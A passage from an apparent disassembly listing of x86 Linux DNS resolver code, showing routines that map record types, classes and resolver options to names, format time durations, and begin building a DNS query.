76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80604A0: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aMinfo ; case 0xe mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80604AC: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aMx ; case 0xf mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80604B8: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aTxt ; case 0x10 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80604C4: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aRp ; case 0x11 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80604D0: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aAfsdb ; case 0x12 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80604DC: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aX25 ; case 0x13 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80604E8: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aIsdn ; case 0x14 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80604F4: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aRt ; case 0x15 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060500: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aNsap ; case 0x16 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806050C: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aNsap_ptr ; case 0x17 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060518: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aSig ; case 0x18 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060524: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aKey ; case 0x19 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060530: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aPx ; case 0x1a mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806053C: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aGpos ; case 0x1b mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060548: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aAaaa ; case 0x1c mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060554: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aLoc ; case 0x1d mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060560: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aAxfr ; case 0xfc mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806056C: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aMailb ; case 0xfd mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060578: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aMaila ; case 0xfe mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060584: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aAny ; case 0xff mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060590: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aUinfo ; case 0x64 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806059C: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aUid ; case 0x65 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80605A8: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aGid ; case 0x66 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80605B4: ; CODE XREF: sub_8060004+Ej ; sub_8060004+14j ; DATA XREF: ... push edx ; default push offset aD_0 ; "%d" push offset unk_807E3D8 call sprintf mov eax, offset unk_807E3D8 mov esp, ebp pop ebp retn sub_8060004 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80605D0 proc near ; CODE XREF: sub_805F1DC+385p ; sub_805F7E4+BFp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, 4 jz short loc_80605FC jg short loc_80605E4 cmp eax, 1 jz short loc_80605F0 jmp short loc_8060614 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80605E4: ; CODE XREF: sub_80605D0+Bj cmp eax, 0FFh jz short loc_8060608 jmp short loc_8060614 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80605F0: ; CODE XREF: sub_80605D0+10j mov eax, offset aIn ; "IN" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80605FC: ; CODE XREF: sub_80605D0+9j mov eax, offset aHs ; "HS" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060608: ; CODE XREF: sub_80605D0+19j mov eax, offset aAny ; "ANY" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060614: ; CODE XREF: sub_80605D0+12j ; sub_80605D0+1Bj push eax push offset aD_0 ; "%d" push offset unk_807E3EC call sprintf mov eax, offset unk_807E3EC mov esp, ebp pop ebp retn sub_80605D0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060630 proc near ; CODE XREF: sub_805F170+2Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, 20h jz loc_806070C ja short loc_8060678 cmp eax, 4 jz loc_80606E8 ja short loc_8060660 cmp eax, 1 jz short loc_80606D0 cmp eax, 2 jz loc_80606DC jmp loc_8060760 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060660: ; CODE XREF: sub_8060630+1Aj cmp eax, 8 jz loc_80606F4 cmp eax, 10h jz loc_8060700 jmp loc_8060760 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060678: ; CODE XREF: sub_8060630+Fj cmp eax, 100h jz loc_8060730 ja short loc_80606A0 cmp eax, 40h jz loc_8060718 cmp eax, 80h jz loc_8060724 jmp loc_8060760 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80606A0: ; CODE XREF: sub_8060630+53j cmp eax, 400h jz loc_8060748 ja short loc_80606C0 cmp eax, 200h jz loc_806073C jmp loc_8060760 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80606C0: ; CODE XREF: sub_8060630+7Bj cmp eax, 800h jz loc_8060754 jmp loc_8060760 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80606D0: ; CODE XREF: sub_8060630+1Fj mov eax, offset aInit ; "init" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80606DC: ; CODE XREF: sub_8060630+24j mov eax, offset aDebug_1 ; "debug" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80606E8: ; CODE XREF: sub_8060630+14j mov eax, offset aAaonlyUnimpl ; "aaonly(unimpl)" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80606F4: ; CODE XREF: sub_8060630+33j mov eax, offset aUsevc ; "usevc" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060700: ; CODE XREF: sub_8060630+3Cj mov eax, offset aPrimryUnimpl ; "primry(unimpl)" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806070C: ; CODE XREF: sub_8060630+9j mov eax, offset aIgntc ; "igntc" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060718: ; CODE XREF: sub_8060630+58j mov eax, offset aRecurs ; "recurs" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060724: ; CODE XREF: sub_8060630+63j mov eax, offset aDefnam ; "defnam" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060730: ; CODE XREF: sub_8060630+4Dj mov eax, offset aStyopn ; "styopn" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806073C: ; CODE XREF: sub_8060630+82j mov eax, offset aDnsrch ; "dnsrch" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060748: ; CODE XREF: sub_8060630+75j mov eax, offset aInsecure1 ; "insecure1" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060754: ; CODE XREF: sub_8060630+95j mov eax, offset aInsecure2 ; "insecure2" mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060760: ; CODE XREF: sub_8060630+2Aj ; sub_8060630+42j ... push eax push offset a?0xLx? ; "?0x%lx?" push offset unk_807E400 call sprintf mov eax, offset unk_807E400 mov esp, ebp pop ebp retn sub_8060630 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806077C proc near ; CODE XREF: sub_805F7E4+43Fp ; sub_805F7E4+460p ... var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov eax, [ebp+arg_0] test eax, eax jnz short loc_80607B4 mov eax, ds:dword_806992F mov ds:dword_807E428, eax mov ax, ds:word_8069933 mov ds:word_807E42C, ax mov al, ds:byte_8069935 mov ds:byte_807E42E, al jmp loc_80608B8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80607B4: ; CODE XREF: sub_806077C+Ej mov ecx, 3Ch xor edx, edx div ecx mov [ebp+var_4], edx xor edx, edx div ecx mov [ebp+var_8], edx mov ecx, 18h xor edx, edx div ecx mov edi, edx mov esi, eax mov ebx, offset dword_807E428 test esi, esi jz short loc_8060802 mov eax, offset unk_8069937 cmp esi, 1 jnz short loc_80607EC mov eax, offset unk_8069936 loc_80607EC: ; CODE XREF: sub_806077C+69j push eax push esi push offset aDDayS ; "%d day%s" push ebx call sprintf add esp, 10h loc_80607FC: ; CODE XREF: sub_806077C+84j inc ebx cmp byte ptr [ebx], 0 jnz short loc_80607FC loc_8060802: ; CODE XREF: sub_806077C+5Fj test edi, edi jz short loc_8060836 test esi, esi jz short loc_806080E mov byte ptr [ebx], 20h inc ebx loc_806080E: ; CODE XREF: sub_806077C+8Cj mov eax, offset unk_8069937 cmp edi, 1 jnz short loc_806081D mov eax, offset unk_8069936 loc_806081D: ; CODE XREF: sub_806077C+9Aj push eax push edi push offset aDHourS ; "%d hour%s" push ebx call sprintf add esp, 10h db 8Dh,76h,0 ; lea esi, [esi+0] loc_8060830: ; CODE XREF: sub_806077C+B8j inc ebx cmp byte ptr [ebx], 0 jnz short loc_8060830 loc_8060836: ; CODE XREF: sub_806077C+88j cmp [ebp+var_8], 0 jz short loc_8060872 test esi, esi jnz short loc_8060844 test edi, edi jz short loc_8060848 loc_8060844: ; CODE XREF: sub_806077C+C2j mov byte ptr [ebx], 20h inc ebx loc_8060848: ; CODE XREF: sub_806077C+C6j mov eax, offset unk_8069937 cmp [ebp+var_8], 1 jnz short loc_8060858 mov eax, offset unk_8069936 loc_8060858: ; CODE XREF: sub_806077C+D5j push eax mov edx, [ebp+var_8] push edx push offset aDMinS ; "%d min%s" push ebx call sprintf add esp, 10h nop loc_806086C: ; CODE XREF: sub_806077C+F4j inc ebx cmp byte ptr [ebx], 0 jnz short loc_806086C loc_8060872: ; CODE XREF: sub_806077C+BEj cmp [ebp+var_4], 0 jnz short loc_8060886 test esi, esi jnz short loc_80608B8 test edi, edi jnz short loc_80608B8 cmp [ebp+var_8], 0 jnz short loc_80608B8 loc_8060886: ; CODE XREF: sub_806077C+FAj test esi, esi jnz short loc_8060894 test edi, edi jnz short loc_8060894 cmp [ebp+var_8], 0 jz short loc_8060898 loc_8060894: ; CODE XREF: sub_806077C+10Cj ; sub_806077C+110j mov byte ptr [ebx], 20h inc ebx loc_8060898: ; CODE XREF: sub_806077C+116j mov eax, offset unk_8069937 cmp [ebp+var_4], 1 jnz short loc_80608A8 mov eax, offset unk_8069936 loc_80608A8: ; CODE XREF: sub_806077C+125j push eax mov ecx, [ebp+var_4] push ecx push offset aDSecS ; "%d sec%s" push ebx call sprintf loc_80608B8: ; CODE XREF: sub_806077C+32j ; sub_806077C+FEj ... mov eax, offset dword_807E428 lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_806077C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80608C8 proc near ; CODE XREF: sub_804DFE0+76p var_64 = byte ptr -64h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 58h push edi push esi push ebx mov edi, [ebp+arg_1C] mov esi, [ebp+arg_20] test byte ptr dword_807854C, 1 jnz short loc_8060900 call res_init cmp eax, 0FFFFFFFFh jnz short loc_8060900 mov ds:dword_807E788, 0FFFFFFFFh loc_80608F4: ; CODE XREF: sub_80608C8+60j ; sub_80608C8+65j ... mov eax, 0FFFFFFFFh jmp loc_8060ADE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060900: ; CODE XREF: sub_80608C8+16j ; sub_80608C8+20j test byte ptr dword_807854C, 2 jz short loc_8060926 mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx mov edx, [ebp+arg_0] push edx push offset aRes_mkqueryDSD ; ";; res_mkquery(%d, %s, %d, %d)\n" call printf add esp, 14h loc_8060926: ; CODE XREF: sub_80608C8+3Fj test edi, edi jz short loc_80608F4 cmp esi, 0Bh jle short loc_80608F4 push 0Ch push edi call sub_806626C mov [ebp+var_54], edi add esp, 8 inc word_8078584 mov ax, word_8078584 xchg al, ah mov [edi], ax mov al, byte ptr [ebp+arg_0] and al, 0Fh shl al, 3 and byte ptr [edi+2], 87h or [edi+2], al mov eax, dword_807854C shr eax, 6 and al, 1 and byte ptr [edi+2], 0FEh or [edi+2], al and byte ptr [edi+3], 0F0h lea ebx, [edi+0Ch] add esi, 0FFFFFFF4h mov [ebp+var_50], edi mov [ebp+var_4C], 0 mov [ebp+var_58], ebp cmp [ebp+arg_0], 1 jz loc_8060A70 jg short loc_80609A0 cmp [ebp+arg_0], 0 jz short loc_80609AA jmp loc_80608F4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 